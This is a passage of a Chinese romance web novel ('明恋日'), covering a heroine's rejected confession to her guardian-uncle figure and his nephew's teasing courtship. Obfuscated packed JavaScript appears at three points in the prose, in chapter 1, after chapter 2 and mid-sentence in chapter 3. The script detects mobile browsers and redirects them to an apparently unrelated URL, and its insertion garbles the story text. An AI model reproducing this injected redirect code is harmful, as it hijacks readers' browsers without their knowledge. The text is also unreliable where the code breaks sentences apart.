《明恋日》 1. 失恋 八月的北城,蝉鸣鼓噪阵阵,午后的阳光依旧刺眼。 但卧室内却是一片黑暗,炽热阳光和暑气被厚重的窗帘隔绝在外,连缝隙都被遮挡得严严实实,静谧昏暗。此时,微弱的光源幽幽亮起,伴随着轻微的嗡鸣震动,打破了寂静,床上拱起的被子动了动,随后垂下一段白皙纤细的手臂,手指胡乱摸索,最终捞起被随意扔在地毯上的手机。 “喂。” 一道软绵绵的女声响起,还带着浓重惺忪的鼻音,显然刚醒。 打电话的安唯见电话接通,终于松了口气:“小祖宗,你怎么现在才接电话?你已经睡了一天一夜了,时差也倒得差不多了吧,不起来吃点东西?” 刚刚被吵醒的顾蓁音翻了个身,只是有气无力回了三个字:“没心情。” “别啊姐妹,就算是失恋也别闷在房间里,出来散散心。” 细碎的脚步声响起,和手机听筒里的声音渐渐重合,伴随着开门声:“不就是表白被拒绝了吗?这有什么?一会姐妹带你去看帅哥。” 房门开了,屋外明亮的光线争先恐后地从缝隙挤入,骤然明亮的房间让顾蓁音有些不适应,她抬起手挡住光线,声音轻如蚊呐:“你怎么上来了?” 安唯没好气地翻了个白眼:“还不是担心你饿死在我店里?你前天刚从伦敦回国,哪里也没去,直接来我这里,霸占我的地盘,封闭自我,疗愈情伤。” 被好友一顿数落,顾蓁音抬手揉了揉有些纷乱的长发,最终还是缓缓坐起身。 安唯伸手推她:“都这么久了,你怎么还是一副半死不活的样子?” 顾蓁音垂着眼,像一尊入定的人偶,有种遁入空门的空虚感:“我现在已经对世俗失去兴趣,不用劝我了。” 安唯轻嗤一声,伸手将人从床上拖起来:“得了吧你,连男人都没碰过,你还遁入空门?赶紧起来洗脸刷牙吃东西。” 被安唯半拉半拽,在房间窝了一天一夜的顾蓁音终于起了床,她站在卫生间洗漱,一边刷牙一边开始翻看这一天积攒的未读消息,基本都是父母姐姐和助理的消息,一一回复过去后,顾蓁音屈指往下翻,在一众经常联系的眼熟头像里,一个边牧头像悄然出现在她的联系人列表里,左上角有个未读红点。 相较其他人的好几条未读消息,絮絮叨叨询问她的情况,他的对话框只有简短的三个字。 景驰:【成功了?】 虽然只有三个字,但顾蓁音却知道对方问的是什么。 顾蓁音手一顿,牙刷险些磕到牙齿,这个人简直是哪壶不开提哪壶。 她泄愤般把洗脸巾扔进垃圾桶,转身下了楼。 这一栋小楼有两层,二楼相当于一套小公寓,有三个房间,可以住人,这两天顾蓁音就窝在二楼;而一楼是安唯的咖啡店,安唯这家咖啡店开在北郊山脚下,顾客一般都是郊区游玩的游客和跑山爱好者,因为她调配的咖啡别具一格,还算小有名气。 木质的楼梯被踩得发出轻微响声,在楼下的安唯听到动静,抬眼看向顾蓁音,举了举手冲咖啡壶:“我在冲咖啡,要不要来一杯?” “不了。”顾蓁音坐在吧台前,接过安唯递过来的三明治,咬了一口。 往日最爱美的顾蓁音,今天却没有化妆,只是穿了条浅蓝色吊带裙,浑身上下透着一股颓唐的气息,像颗蔫儿吧唧的小白菜,即使没有认真打扮,顾蓁音巴掌大的小脸仍是瓷白细腻,一双浅茶色的秋瞳含水潋滟,五官秾丽精致,娇美动人,依旧美得惹眼。 她的闺蜜在圈子里是公认的漂亮,性格又好,身材也好,全身上下都是闪光点,安唯在心中暗骂景逸琛,这个有眼无珠的男人到底是多没眼光。 安唯默默腹诽,随手将手上的咖啡盖上盖子,打包装袋。 顾蓁音注意到她的动作,店里没有客人,但咖啡店的吧台上却摆了好几杯咖啡,她问:“这是外送?” “嗯。”安唯点了点数量,“程言楷他们今天在附近的赛车场玩,在我这儿点了咖啡,一会送过去,都是熟人,你要不要去看看?” 顾蓁音眼皮都没抬一下,拒绝得直截了当:“不想去。” 安唯却硬要拉上她:“我不管,你在我这儿赖了两天,帮我干点活不过分吧。” 安唯是这家店的老板,要是单纯的送货,完全可以由店里的员工代劳,根本不用自己亲力亲为,顾蓁音知道好友的心意,她只是用这个借口带她去散心,想让她开心点,她没有太过推拒:“行行行,我和你去。” 达到目的,安唯心情很好地指挥顾蓁音帮她把咖啡搬上车后箱,随后开着她的悍马,带着顾蓁音前往赛车场。 中午的赛车场没什么人,空旷的场地偶有机车引擎轰鸣声压过,中午日光正盛,夏天的暑热让无边的赛道浮起一层扭曲热浪,赛道上已经有几个车手,三三两两的工作人员聚在一起,似乎在帮车手做赛前准备。 “安唯,这里。”看台上有几人朝她们招手,正是程言楷他们。 程言楷一转身看到顾蓁音,语气夸张:“哟,稀客啊,公主殿下怎么大驾光临了?什么时候回的北城?” “前两天。” 在场的几个都是顾蓁音认识的发小,自从顾蓁音留学回国后,她为了景逸琛,长期定居在江城,很少和北城的发小见面,顾蓁音环顾一圈:“今天就你们几个?” “没,还有景驰。”程言楷调侃道,“怎么?小婶婶要见见您未来大侄子?” 顾蓁音喜欢追在景逸琛身后,身边相熟的好友都知晓,因为景逸琛和景驰的叔侄关系,大家或多或少都会调侃,说她将来要当景驰的小婶婶。 往日的玩笑放在今天,就变得尤其讽刺。 她用心策划准备了一个星期的生日,包括蛋糕,都是她亲手做的,她满心欢喜等在餐厅,但最后蛋糕的奶油融化坍塌,她才等到刚刚结束工作的景逸琛,他眉头紧皱,话语间的不耐几乎溢出:“我很忙,没时间照顾你这些幼稚的仪式感。” 她追出去,在异国街头,她哽咽开口:“景逸琛,我喜欢你,才会做这些。” 一阵沉默后,她收到了最后冷酷无情的答案。 “音音,你还小。” 景逸琛对她说的话,犹如一记狠狠的耳光,将她好不容易积攒的勇气尽数打散。 回忆到此为止,顾蓁音垂下卷翘的眼睫,阳光照射在裸露的瓷白肌肤上,让人心生不适,顾蓁音眼底的情绪淡下去,没说话。 有人叫了声顾蓁音:“顾蓁音,这次回来待多久?要不今晚我们一起聚聚?” 程言楷附和:“对啊,我们找个时间聚聚,免得你又回江城,一年都见不到你几回。” 顾蓁音回过神,却笑了笑:“不走了,我打算留在北城了。” “真的假的……” 众人诧异,顾蓁音微微侧过头,却感觉身后有一道比阳光更要炽热的视线直直朝她望来,灼热的滚烫,仿佛仿佛要在她后背燎出一个洞来。 她似有感应,抬眼寻去,但阳光刺目,她下意识眯了眯眼,晃神间,旗帜晃动,比赛开始,赛道的机车如同离弦的箭飞驰而出,只余呼啸的风声和渐远的引擎轰鸣。 不远处的安唯叫她:“音音,你要回去吗?” 顾蓁音摸了摸手臂,收回视线:“回去。” 顾蓁音跟着她上了车,安唯还在和她聊天,顾蓁音有些心不在焉地应着,手机震动打断闲聊,一条消息再次弹出。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223090|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >景驰:【不回我消息?看来是黄了。】 被人戳中心事,顾蓁音“啪”地一下倒扣手机,动静之大,惊动了开车的安唯:“怎么了?” “没什么。” 顾蓁音直接关闭对话框,眼不见为净,她长长呼出一口浊气。 安唯还在叽叽喳喳:“你这次留在北城,我真的很高兴,这样我们就能经常见面了……” 她的语气却有变得迟疑:“但……如果你留在北城,你是准备放弃景逸琛了吗?” 顾蓁音握着手机的手悬在半空。 放弃他吗? 见顾蓁音不说话,安唯有点恨铁不成钢:“他都这样伤你的心了,你别告诉我还要继续喜欢他。” 她喜欢了景逸琛这么多年,尝遍了暗恋的酸涩,早已伤心了不知道多少回,只是她有种不撞南墙不回头的倔强,坚持了这么久,尝遍了希望和失望,明明被拒绝了,但她喜欢了这么久,一时间还有些迷茫。 顾蓁音顿了顿,闷声道:“我不知道。” 安唯轻叹,却没再说话。 - 回到咖啡店时,店里依旧没有来客人,守店的小羽在百无聊赖地玩着手机,挂在门口的风铃被夏风吹得叮当轻响。 顾蓁音要了杯柠檬水,坐在落地窗边发呆。 见顾蓁音闷闷不乐地坐在落地窗边,安唯知道她一时放不下,便拿出塔罗牌:“来吧,我给你算一算,你的真命天子什么时候来找你。” 最近安唯又迷上了塔罗牌,喜欢给来店里的顾客们免费算塔罗牌,用于练手,可惜技术不到家,十次有九次都不准。 顾蓁音无力地趴在桌上,顺便无情打击好友:“你还是别算了,你有哪一次是准的?” 安唯瞬间炸毛:“说不定这一次就真的准了!” 顾蓁音拗不过安唯的热情,只能恹恹地看着她洗牌切牌,最后抽出三张,让顾蓁音选牌,顾蓁音抬手随便一翻,安唯眼睛一亮,忍不住提高音量。 “下一秒。” 饶是知道好友的水平,顾蓁音心底仍然抱有微弱的希望,她直起身,垂眸下意识看向手机,期待着屏幕在此刻亮起。 但,什么也没有。 顾蓁音面无表情:“安唯,我再信你就是小狗。” 安唯不由心虚地摸了摸鼻子:“失误失误,我再练练——” 她尚未说完的话被机车的轰鸣声尽数湮没,顾蓁音转过脸,看向落地窗外。 八月份的午后,蝉鸣好像瞬间变得嘈杂喧闹,仿佛在热烈欢迎午后唯一的来客,炽热的阳光穿透咖啡店门口的大树枝叶间隙,枝叶随着燥热夏风摇晃,光影跃动,细碎地洒落在来人身上,如浮光跃金。 鲜红的杜卡迪v4停在咖啡店前,男人长腿撑地,利落抬手,将黑色头盔摘下。 是景驰。 他长着一张老天都偏爱的脸,张扬恣意,因为摘头盔,柔软的墨发被他弄得有些乱糟糟,额前的发微微翘起,却不觉潦草,反而增添几分不羁的少年意气。 像是在沉闷的暑天开启的一瓶柠檬汽水,清爽沁人。 他和她,隔着落地窗对视。 直到景驰推开门走进来,顾蓁音率先开口:“你来干什么?” “听说你表白失败了。”他站在顾蓁音面前,语调徐徐,“来看看表白失败的某人。” 顾蓁音耷拉着小脸:“景驰,我表白失败,你很开心?” 景驰毫不见外,径直坐在顾蓁音对面:“我这不是来安慰你吗?” “旧的不去新的不来。” 窗外灿烂光线斜斜打来,在他精致的眉眼落下淡淡阴影,他的唇角似乎扬了扬。 “现在,新的,来了。” 2. 景家 只一句,就让顾蓁音猛地被呛到,她剧烈咳嗽起来。 偏偏始作俑者还很体贴地伸手替她顺背:“没必要这么激动吧。” 顾蓁音咳得脸色绯红,好不容易平复下来,差点再次被他的发言呛到:“是谁在激动?我这是震惊好吗!这么离谱的话都能说出口!” “请问哪里离谱了?”景驰却一本正经,“我们两家有婚约,小叔不行,那只能是我。” “难道你还想继续追小叔?” 顾蓁音闻言默然,景驰抬眸看向她,原先微微上扬的唇角弧度悄然淡去。 察觉气氛凝滞,顾蓁音生硬地避开这个话题,她轻咳一声:“你怎么知道我表白了?” 景驰“哦”了声,直截了当:“猜的。” “听说你提前一周去了伦敦,不用想就知道是给小叔准备惊喜。” 他漫不经心道:“我认识你这么久,总不会连这些都猜不出来吧。” 顾蓁音一哽,自己对景逸琛那点小心思,早就已经人尽皆知,景驰能猜到,简直是轻而易举,但随即,景驰就抛下一个重磅炸弹:“爷爷已经知道你和小叔的事,明天可能会让你回老宅一趟。” 顾蓁音有些紧张:“爷爷找我有什么事?” “谁知道呢。”景驰站起身,“我只是友情告知一声,毕竟爷爷的心思,我们这些小辈也猜不透。” 他起身:“我还有事,先走了。” 直到景驰离开,躲在吧台后偷听的安唯这才走出来,她一脸兴奋:“你要换人了?” “什么换人?”顾蓁音只觉得越来越离谱,“景驰只是在开玩笑而已。” 安唯有些失望地走开,随即景老爷子的电话如期而至。 顾蓁音暗暗吸了口气,接通电话,老人和蔼的声音传来:“音音啊,是景爷爷,最近在忙吗?” “爷爷,我最近不忙。”顾蓁音应答,“您呢?最近身体还好吗?” “一切都好,就是好久没见你了,听说你回北城了,明天过来老宅这边,陪爷爷聊聊天?” 顾蓁音软软地应了声,很是乖巧:“好的。” 通话很短,顾蓁音放下手机,安唯就八卦地看着她。 “你明天要回景家?”安唯猜测,“我觉得老爷子叫你回去,肯定是因为你和景家婚约的事。” 景老爷子很喜欢顾蓁音,因为他膝下有三个儿子,下面又有四个孙子,就是没有女儿孙女,典型的阳盛阴衰,当看到像糯米团子的顾蓁音,就喜欢得不得了,顾蓁音五岁时生了一场急病,靠着景家的人脉,才请来有名的飞刀医生做手术,把人从鬼门关救回来,顾家想要还这个人情,但景老爷子什么都不缺,就是喜欢顾蓁音,所以就顺势和顾爷爷定下两家婚约。 顾蓁音叹息一声:“不知道,明天再说吧,兵来将挡水来土掩。” - 第二天,顾蓁音如约前往景家老宅。 到景家老宅时,正值午后,景老爷子喜欢莳花弄草,庭院前种了许多植物,老枣树郁郁葱葱,翠绿枝叶延伸到四四方方的天空,一草一木还是她熟悉的样子。 16岁时,顾蓁音父母在江城扩展业务,极少在北城,而姐姐顾韫珠在国外留学,独留顾蓁音一个人在北城上高中,无人照顾,因着是关系要好的世交,景老爷子让顾蓁音搬到景家居住,所以顾蓁音在景家老宅住了很长一段时间,景家老宅对她而言,不算陌生。 她静静打量着,一转头,角落一丛月季却吸引她的注意。 翠绿的枝叶沿着爬架攀延,其中还缀着零星粉白花苞,枝叶随着夏风轻轻摇晃,一派勃勃生机,正好见到出来接她的住家阿姨,顾蓁音随口夸赞道:“陈阿姨,这花真好看。” 陈阿姨讶异:“音音你不记得了?这是你的花。” 被人提醒,顾蓁音终于记起来,两年前她搬去江城,云雍庭的阳台上还有几盆新买的花,她没办法照顾,只能分别都送了人,其中这一盆月季就送到了景家。 顾蓁音很惊喜:“陈阿姨,这花是你们替我打理的吗?养得真好。” “哎呦,我就是个养花杀手,平时只是负责浇浇水。”陈阿姨笑道:“这花是小驰打理的,他隔三差五过来看一眼,施肥驱虫都是他做的,这花刚开始养的时候可娇贵了,不耐晒也不耐雨淋,为此小驰还特地让人过来弄了个可伸缩的遮阳棚呢!” 居然是景驰。 顾蓁音没想到会是他在照顾这盆月季,养花这么细腻的事情,完全不符合景驰的作风。 陈阿姨没注意到她的神色,自顾自将顾蓁音带往书房:“你好久没来,老爷子一直记挂着你呢。” 顾蓁音停在书房门口,看到景老爷子正在凝气练字,没有立刻进去打扰,直到老爷子收笔,抬头才发现顾蓁音,他笑着朝她招手:“怎么站在这儿?赶紧进来!” 顾蓁音笑:“我站在这儿这么久,爷爷都没发现我,我还以为爷爷不记得我了。” 老人现在已过古稀,但精神矍铄,中气十足,他笑呵呵的佯装嗔怪:“你这个丫头,是你忘了爷爷才对吧,一直待在江城,都不回来看爷爷。” 顾蓁音笑了,在她的心里,景爷爷和她亲爷爷无异,她拿出自己专门烤制的低糖枣糕,让阿姨用青花瓷碟装起来,给老爷子尝尝。 两人喝茶闲聊了一会,顾蓁音嘴甜,逗得老人哈哈大笑,气氛融洽时,老爷子感慨道:“再过半个月,差不多就是你24岁的生日了,时间过得真快,一眨眼你就成了大姑娘了。” 闻言,顾蓁音笑意变淡,她想起有个人,觉得她还小。 气氛安静下来,老爷子试探般聊起正事:“听说,你和逸琛在伦敦闹了些不愉快?” 顾蓁音端着茶杯的手收紧,卷翘眼睫微微垂下:“嗯。” “逸琛从小和我们不亲,可能因为没有血缘关系,他心里多少和我们有隔阂,加上小时候吃了太多苦,他的性格比较冷,心思也重。”景老爷子劝道,“音音,你别往心里去。” 景逸琛并不是景爷爷的亲生孩子,他是景家远房亲戚的遗孤,十岁被接到了景家,由景爷爷抚养。 在来景家之前,他被亲戚当作皮球踢来踢去,被迫辗转寄住在不同亲戚家,或许是坎坷的身世,导致景逸琛的性格很冷,天生对旁人有种疏离感,即使在景家生活了这么多年,他和景家人也不算亲近。 但顾蓁音却喜欢追在景逸琛身后跑,邀请他和他们一起玩游戏,景逸琛比他们大七岁,根本不会和他们玩这种幼稚的过家家游戏;等到她16岁,寄住在景家,因为老爷子的安排,景逸琛负责照顾她。 亲近的家人不在身边,她很依赖这个世交的小叔,少女的情愫在悄然中滋生。 她试图捂热景逸琛寒冷的心,但她努力了七年,无功而返。 顾蓁音蜷起手指,努力扯出一个笑:“我没事的爷爷,可能我处事确实不够成熟吧。” 老爷子叹道:“怎么会呢?你一直都是个贴心的好孩子。” “音音,如果实在和逸琛没缘分,你觉得景驰怎么样?”老爷子暗含希冀,“如果你愿意,可以试着和景驰相处相处。” 这番话让顾蓁音愣住,原来景驰说的换人,是真的。 但她从未想过和景驰发展什么,而且对于景驰来说,相当于莫名其妙被人塞了个婚约,而且结婚对象还喜欢过他小叔,景驰应该也不愿意吧…… 顾蓁音垂眸:“景驰吗?” 她静默片刻,最后笑了笑:“还是算了。” 老爷子在心里暗暗叹了口气,只当顾蓁音还没放下景逸琛,想要等他回心转意,他很通情达理:“算了,感情的事勉强不来,但这毕竟是人生大事,爷爷还是希望你能深思熟虑后再做决定,不管你是选择逸琛,还是选择景驰,或者两个都不选,爷爷都尊重你的决定。” 顾蓁音有些震惊:“爷爷……” 景老爷子摆摆手:“我又不是封建的老东西,要是强行让你嫁给谁,你婚后过得不幸福,爷爷心里也不开心。” “所以音音,你先好好想想,过段时间再给爷爷答案,怎么样?” 景爷爷为她考虑这么多,顾蓁音心中触动,她低声应了声好。 从书房出来,顾蓁音瞥见一个男人正坐在客厅,窗外的夕阳染红了来人的白衬衫。 男人转过脸,顾蓁音的心微微发沉,她叫了他一声:“小叔叔。” 景逸琛抬眼看向她,从前的顾蓁音喜欢叫他“景逸琛”,不喜欢叫他“小叔叔”,小女生的心思很好懂,好像这样,就能模糊他和她之间的辈分和距离,成为和他并肩而立的成熟大人,但现在的她,却疏离冷漠地叫他“小叔叔”。 他正要说些什么,老爷子的声音从书房传来:“逸琛,进来。” 景逸琛顿了顿,随后抬步走了进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾蓁音只觉得很委屈:“可是我有提前联系你的助理夏霜,和她确定你的空闲时间,她和我说了,你今天晚上有时间,我才把庆祝时间定在今晚,我也给你发了消息,但你没回,我不觉得我哪里处理得不对……” 她看着景逸琛冷漠的表情,最终将剩下的辩驳咽下,她低着头:“对不起,你不喜欢,我下次不会这样了。” 她强撑着,结束这顿糟糕至极的晚餐,费尽心思的准备,最后她只得到冷漠的指责和拒绝,但景逸琛在生日当天说过的每句话,恍如魔咒,深深镌刻在她的心里。 既然景逸琛不领情,她又何必做这些自我感动的无用功? - 晚饭很快准备好,景逸琛和老爷子的谈话也结束了,饭桌上,顾蓁音挨着景老爷子坐,体贴地给老爷子夹菜。 景逸琛看着餐桌的菜,问道:“今天没有做粉蒸排骨?” 阿姨面面相觑:“这道菜之前一直是音音做的……” 顾蓁音直视他,语气很淡:“没做,因为我今天不想做这道菜了。” 景逸琛深深看了眼顾蓁音,最后只是顿了下:“知道了。” 一顿饭吃得沉闷,只有碗筷碰撞的声音。 饭后,顾蓁音从洗手间出来,就见到等在走廊的景逸琛。 他叫住了顾蓁音:“音音,你还在为生日那天的事生气?” 景逸琛的语气缓和几分:“事后我问过夏霜,生日当天上午,临时有个会议改到晚上,夏霜一时疏忽,忘了通知你。” 顾蓁音“嗯”了声。 他继续说:“夏霜虽然是我的助理,会帮我处理私人生活上的琐事,但她优先处理公务上的事,在无关紧要的个人私事上有些疏忽,在所难免,希望你能理解。” 顾蓁音盯着他冷峻的脸,低声道:“原来在你心里,我陪你过生日,是无关紧要的小事吗?” “生日随时可以补过。”景逸琛的眉头却越皱越紧,他沉声道,“蓁音,只是一顿饭而已,你没必要揪着不放。” 原来她提前一周订的餐厅,她亲手做的蛋糕,她为他做的一切,在他眼里不值一提,她知道,景逸琛没有义务照顾她的情绪,但这一刻,她还是很难过。 顾蓁音心底动摇的那一簇火苗,变得摇摇欲坠,再次“噗”一声熄灭。 3. 追尾 顾蓁音只觉得胸腔坠着灌满水的气球,一点点压迫着肺部,让她喘不过气来。 她的声音很艰涩:“对不起,我以后不会再这样任性妄为,打扰你的安排。” 景逸琛看着面前低低垂着头的顾蓁音,他眼眸闪过一丝触动,正要说些什么,但手机却在此刻亮起。 他接起电话,电话传来一道柔柔的女声,隐约带着可怜的哭腔:“景总,我不小心弄错了一份文件,我不知道该怎么办,您能来帮我一下吗?” 周围很安静,顾蓁音听出对方的声音,她是景逸琛的助理,夏霜。 景逸琛的声音明显柔了许多,带着安抚:“好,别担心,等着我,我马上过去。” 截然不同的态度,顾蓁音胸腔坠着那颗灌满水的气球,像是被一把锋利的剪刀剪断,重重落下,砸得她五脏六腑都是生疼。 她好像由始至终,只是一个演着独角戏的小丑。 他简单安抚几句夏霜,才挂断电话,景逸琛的视线重新落在顾蓁音上,“夏霜那边有些事,我要过去一趟,我顺便送你回去。” 顾蓁音却低声拒绝了:“不用麻烦,我自己开车回去。” “小叔再见。” 不等景逸琛回应,她就转身绕开他,径直离开。 她担心自己再待下去,眼泪会忍不住夺眶而出。 她不断让自己变得独立成熟,只想获得他目光的一瞬停驻,从前她觉得他性格如此,他讨厌幼稚,对一切都一视同仁的严厉,他生性冷漠,不懂爱,但现在的她却发现,自己错得离谱。 夏霜可以不成熟,可以犯错,他可以无限包容她,耐心替她处理问题。 他哪里是不懂爱,只是他不愿意将爱和耐心倾注在她身上,只是因为她不是那个特别的人。 不喜欢才是原罪,因为景逸琛不喜欢她,她做什么都是错的。 顾蓁音坐在昏暗的车内,蓄在眼眸里的泪,像是不断沉重下坠的心,最终还是无声滴落在手背上。 - 晚上七点的北城,正好是晚高峰,华灯初上,长长的车流汇聚成一条红龙,蜿蜒在道路上。 景驰坐在副驾驶,修长的手挡在额前,薄薄眼皮垂下,显得有些困倦。 季淳开着车,和他聊天:“听周于承说,你不准备去江城分部常驻了,打算继续留在北城总部。” “嗯。” 季淳松了口气:“我之前一直反对你去江城分部,江城那边的分部有老周盯着就行,而且我们的新游戏马上就要开始全平台公测,测试和调优都需要你坐镇,万一有紧急情况,还需要两头飞,多麻烦。” “我不明白你前段时间干嘛这么执着去江城?”季淳开玩笑,“江城到底有谁啊?你的暗恋对象?” 景驰颀长双腿交叠在小小的副驾驶里,他弯唇笑了笑,看向窗外,灯光勾勒出他英挺的侧脸,语气稀松平常得仿佛在说今天天气很好:“是啊,但她现在已经回北城了。” ? 季淳本来只是胡说八道,没想到却歪打正着,这句话的冲击性实在太大,让他忘了减速,直接撞上前方缓慢行驶的白色帕美。 季淳心里叫苦不迭:“完了,我追尾了。” 景驰坐直身体,抬眸看向前方的帕美,他率先解开安全带:“你先停车,我下去看看。” - 坐在车里的顾蓁音同样叫苦不迭,前一刻她还沉浸在自己的情绪里,眼泪还在眼眶里打着转,后一秒就感受到一股莫名的推背感,这种感觉很不妙。 事实证明她的直觉很准,屋漏偏逢连夜雨,她被人追尾了。 “咚咚”两声,有人在敲她的车窗。 透过暗色的车窗,她看清来人的脸。 景驰。 人在倒霉的时候,喝水都会塞牙,老天显然在今天和她开玩笑,选择让她在最脆弱狼狈的时候,遇到不得不面对的熟人。 “不好意思,我们的车——” 车窗降下,景驰看到坐在车里眼眶泛红的顾蓁音,显然愣了下,剩下的话也生生中断。 “景驰——” 有道陌生的男声至车后传来:“怎么样?车主怎么说?” 景驰转身,用身体挡住季淳往里探视的视线:“车主是我的熟人,我来处理。” 季淳半信半疑地走开,顾蓁音在这简短的间隙,胡乱地抹了把眼睛,她深吸一口气,努力平复好情绪,才下了车。 季淳看到从车上下来的顾蓁音,眼睛忍不住瞪大。 长得实在漂亮是另一回事,但这张脸,他好像在哪里见过。 察觉到顾蓁音的视线,季淳回过神来,他很抱歉:“不好意思啊美女,我这一下子没注意就撞上去了,是我全责,我这边和交警报备了,直接走保险,你看可以吗?” 顾蓁音没有异议:“好。” 她拿出手机拍照,顺便发车辆照片给4s店定损,因为只是很小的剐蹭,补个车漆就好,没有什么大问题,把需要拍下的证件照片拍好,这件事很快就处理完毕,顾蓁音和季淳互相交换了微信,季淳有错在先,态度很好:“顾小姐,之后把车送去维修,直接让4s店对接我这边的保险人员就好,如果后续有什么问题,随时可以联系我。” “或者你也可以联系我。” 久未出声的景驰看向顾蓁音:“我可以帮你讹他一笔。” 戏谑的语气,配上他那张惊为天人的帅脸,有点拽,莫名让人讨厌不起来。 夏末的晚风吹散了些许难受,顾蓁音深吸一口气:“……我没你这么缺德。” “行,我缺德。” 他脸上毫无被揶揄的怒意,依旧是一副风轻云淡的表情,他垂眸看她,唇角微扬:“那善良的顾蓁音女士,请问你一会方便送我回家吗?” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223092|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓁音被他跳跃的话题问住,怎么又突然让她送他回家了? 顾蓁音迟疑:“你不坐你朋友的车回去吗?” “他啊。”景驰从善如流,说起谎来面不改色,“他刚刚接到公司通知,说有工作要他处理,让他临时回公司一趟,送不了了。” 景驰看向季淳,扬了扬下颔:“是吧。” 季淳不可置信:“什么时候的通知?我怎么没看到?” 景驰晃了晃手机,示意他:“你看看手机不就知道了?” 季淳点开聊天软件,最顶部就是景驰刚发的消息。 景驰:【我是老板,我刚刚通知的,不行吗?】 景驰:【你直接回家,明年多出来的保费我替你交了。】 季淳无语凝噎,他真的低估了景驰的不要脸程度。 虽然景驰不要脸,但季淳还是咬牙切齿地认了:“……老板确实让我回公司一趟。” 景驰满意了,他再次看向顾蓁音,一脸“你看我没说错”的表情。 想起景驰很用心照顾她的月季,顾蓁音恹恹道:“走吧,我送你回家。” 季淳就这样眼睁睁看着景驰跟着漂亮妹妹走了。 季淳第一次看到景驰这么不值钱的样子,整个人处于一个魔幻震惊的状态,久久没有回神,他盯着手机,终于后知后觉品出不对劲来,事到如今,他也终于想起顾蓁音为什么这么眼熟。 景驰的工位上,放着她的照片。 - 景驰如愿上了顾蓁音的车,只是景驰没让顾蓁音开车,而是自己做司机。 顾蓁音想起季淳,她有些同情:“你朋友有点惨。” 景驰正在调座椅,闻言抬眼:“为什么这么说?” 顾蓁音解释:“不仅出了个交通事故,大晚上还要被老板叫去临时加班,你朋友的老板有点缺德。” 他很大方地承认:“我就是他缺德的老板。” ?? 她才想起,景驰有一家成立了六年的游戏公司星澜互娱,靠着两大爆火的手游核心IP,这几年稳居手游赛道前三,地铁奶茶店便利店随处可见这两大IP的联名广告,甚至就连她这个不玩游戏的人,都有所耳闻。 顾蓁音倏然转过脸,声音都提高了几个度:“景驰,你故意的?” 景驰双手抱臂:“怎么,你还要退货?把我赶回去?” 话音刚落,季淳的奔驰就从他们身边驶离而去。 转瞬即逝的车灯灯光透入车窗,划过景驰的眼眸,照亮他眸底细碎的笑意,他好整以暇:“可惜,现在退不了。” 顾蓁音闭了闭眼:“你从实招来,你蹭我的车回家,到底有什么目的?” “没什么,我就是想知道。” 景驰倾身靠近,那双漆黑如墨的眼眸直勾勾看向她,倒映出她的脸庞。 “谁又让我们音音公主不开心了?” 4. 小狗 她设想了无数个可能,但却没想到,景驰只是想知道,她为什么不开心。 顾蓁音心里涌起莫名内疚,原本和他对峙的尖锐气势瞬间灰飞烟灭,变成蔫儿吧唧的小白菜,她不再去看景驰的眼,声音低低的:“没事。” “不说我也能猜得到。”景驰没有看她,只是观察路况,平稳地将车开出去,“看样子你是刚从老宅出来,见到小叔了?” 顾蓁音神情黯然:“嗯,我们在伦敦闹了些不愉快。” “顾蓁音。” 红灯亮起,车子缓缓停下,景驰的目光静静驻足在她的脸上,语气认真起来。 “说实话,我真的很好奇,你到底喜欢他什么?居然能让你在同一棵树上吊这么久。” 她喜欢景逸琛什么? 当时的景逸琛会尽职尽责地照顾她,他会接送她上下课,来看她的剧场演出,没有亲人在身边,一个比她大七岁的小叔却几乎承担起她的全部。 在16岁这个青春期荷尔蒙乱窜的年纪,景逸琛这种高冷禁欲的成熟男人,和其他毛毛躁躁的同龄人形成了鲜明对比,轻易就夺去了顾蓁音的全部注意力,也让她从对长辈的依赖,变成不可言说的情愫。 但让她真正确定自己的喜欢,却是一件很具体的事。 她当时还沉迷于追星,很喜欢一位当红小花,这位小花当时在巡回舞台剧,正好来了北城,她费了些力气,拿到了to签,但刚出剧场,她才发现那张有着to签的票根被她弄丢了。 当时景逸琛来接她,听她委屈地诉说票根弄丢的事,他只是皱了皱眉,冷淡道:“自己没放好东西,怪不得别人。” 被景逸琛一说,她的心情更差了,一连几天都是无精打采的,但在一周后的某一天,景逸琛拿着一个快递件递给她:“你的东西。” 快递的袋子很平整,是江城场的票根,闪闪发亮的sd笔写着to顾蓁音同学,后面是龙飞凤舞的小花签名。 那一刻,她的心跳甚嚣尘上。 顾蓁音很激动,当时的她兴高采烈地伸手抱了他:“谢谢你,景逸琛。” 景逸琛身子一僵,态度好像更冷淡了,他转身离开:“和我无关,不用谢我。” 顾蓁音只当他是在口是心非,他冷漠的外表下,其实有着一颗鲜活跳动的心,会将她的喜怒哀乐放在心里,顾蓁音在心里给他打上了刀子嘴豆腐心的标签。 